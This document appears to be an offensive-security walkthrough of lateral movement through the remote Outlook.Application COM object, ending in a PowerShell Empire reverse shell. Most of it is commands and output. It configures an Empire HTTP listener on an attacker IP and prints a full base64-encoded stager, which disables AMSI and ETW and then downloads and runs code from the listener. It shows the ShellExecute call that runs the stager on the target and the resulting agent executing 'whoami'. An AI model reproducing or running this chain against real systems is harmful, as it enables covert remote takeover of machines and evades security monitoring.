XCCVLTVM

Empire Shell Implementation Using COM Objects

COM (Component Object Model) can be briefly described as a binary interface. It is essentially used to equip executable files or software products with various functions during their development phase, thereby extending their capabilities and functionalities. To perform such operations, objects are developed and can be utilized for a wide range of purposes.

The Outlook application is activated to begin the process.

PS C:\Windows\system32> $com = [Type]::GetTypeFromProgID('Outlook.Application','192.168.1.43')
PS C:\Windows\system32> $object = [System.Activator]::CreateInstance($com)

All methods in the Outlook application that include “Create” in their naming convention are enumerated.

PS C:\Windows\system32> $object | gm *Create*

   TypeName: Microsoft.Office.Interop.Outlook.ApplicationClass

Name                   MemberType Definition
----                   ---------- ----------
CreateItem             Method     System.Object CreateItem(Microsoft.Office.Interop.Outlook.OlItemType ItemType), Sy...
CreateItemFromTemplate Method     System.Object CreateItemFromTemplate(string TemplatePath, System.Object InFolder),...
CreateObject           Method     System.Object CreateObject(string ObjectName), System.Object _Application.CreateOb...
CreateObjRef           Method     System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType)

The CreateObject method is employed to instantiate a COM object. Specifically, by invoking this method on the outlook.application interface, it becomes possible to establish an Empire-based reverse shell, enabling remote command execution.

Empire is set up with the necessary parameters to initiate the attack.

(Empire: uselistener/http) > set Name dllhijacker
INFO: Set Name to dllhijacker 
(Empire: uselistener/http) > set Host 192.168.1.26
INFO: Set Host to 192.168.1.26 
(Empire: uselistener/http) > set Port 9929
INFO: Set Port to 9929 
(Empire: uselistener/http) > execute
[+] Listener dllhijacker successfully started
(Empire: uselistener/http) > back
(Empire) > usestager multi_launcher

 id           multi_launcher                                        
 authors      Will Schroeder, @harmj0y, https://twitter.com/harmj0y 
 description  Generates a one-liner stage0 launcher for Empire.     


┌Record Options────┬────────────────────┬──────────┬─────────────────────────────────────┐
│ Name             │ Value              │ Required │ Description                         │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Listener         │                    │ True     │ Listener to generate stager for.    │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Language         │ powershell         │ True     │ Language of the stager to generate. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ StagerRetries    │ 0                  │ False    │ Times for the stager to retry       │
│                  │                    │          │ connecting.                         │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ OutFile          │                    │ False    │ Filename that should be used for    │
│                  │                    │          │ the generated output.               │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Base64           │ True               │ True     │ Switch. Base64 encode the output.   │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Obfuscate        │ False              │ False    │ Switch. Obfuscate the launcher      │
│                  │                    │          │ powershell code, uses the           │
│                  │                    │          │ ObfuscateCommand for obfuscation    │
│                  │                    │          │ types. For powershell only.         │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ ObfuscateCommand │ Token\All\1        │ False    │ The Invoke-Obfuscation command to   │
│                  │                    │          │ use. Only used if Obfuscate switch  │
│                  │                    │          │ is True. For powershell only.       │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ SafeChecks       │ True               │ True     │ Switch. Checks for LittleSnitch or  │
│                  │                    │          │ a SandBox, exit the staging process │
│                  │                    │          │ if true. Defaults to True.          │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ UserAgent        │ default            │ False    │ User-agent string to use for the    │
│                  │                    │          │ staging request (default, none, or  │
│                  │                    │          │ other).                             │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Proxy            │ default            │ False    │ Proxy to use for request (default,  │
│                  │                    │          │ none, or other).                    │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ ProxyCreds       │ default            │ False    │ Proxy credentials                   │
│                  │                    │          │ ([domain\]username:password) to use │
│                  │                    │          │ for request (default, none, or      │
│                  │                    │          │ other).                             │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Bypasses         │ mattifestation etw │ False    │ Bypasses as a space separated list  │
│                  │                    │          │ to be prepended to the launcher     │
└──────────────────┴────────────────────┴──────────┴─────────────────────────────────────┘

(Empire: usestager/multi_launcher) > set Listener dllhijacker
INFO: Set Listener to dllhijacker 
(Empire: usestager/multi_launcher) > execute
INFO: Stager copied to clipboard 
powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE4AZwBBADQAQQBDADQAQQBNAFEAQQB1AEEARABJAEEATgBnAEEANgBBAEQAawBBAE8AUQBBAHkAQQBEAGsAQQAnACkAKQApADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAFUARgBYADwARwA5AEAAKQBzAF0AbQB8AFYATQArAEgAXwB9AFIAcgAhAEkAdwA2ACYAaQBnAGsARAAtAD4ANAAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAYgBKAG4AWQBLAGoARQBXAFcATQB2AGMAUwBsAEQAPQBhAEgAQwAvADAASABsADcASQBWAHYAcABZAGsAdQA1ACsANwBVADQAYgBxAEEAWQB2AEsAdwA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
(Empire: usestager/multi_launcher) >

The generated payload is executed on the client device.

PS C:\Windows\system32> $object.CreateObject("Shell.Application").ShellExecute("C:\Windows\System32\cmd.exe", 'rundll32 SHELL32.DLL,ShellExec_RunDLL "cmd.exe" "/c powershell -ep bypass -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE4AZwBBADQAQQBDADQAQQBNAFEAQQB1AEEARABJAEEATgBnAEEANgBBAEQAawBBAE8AUQBBAHkAQQBEAGsAQQAnACkAKQApADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAFUARgBYADwARwA5AEAAKQBzAF0AbQB8AFYATQArAEgAXwB9AFIAcgAhAEkAdwA2ACYAaQBnAGsARAAtAD4ANAAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAYgBKAG4AWQBLAGoARQBXAFcATQB2AGMAUwBsAEQAPQBhAEgAQwAvADAASABsADcASQBWAHYAcABZAGsAdQA1ACsANwBVADQAYgBxAEEAWQB2AEsAdwA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA"', '', '',1)
[+] New agent X64E7CGW checked in
(9PMBF5HU)  > interact X64E7CGW
(Empire: X64E7CGW) > shell
INFO: Exit Shell Menu with Ctrl+C 
(X64E7CGW) C:\Windows\System32 > whoami
XX\xx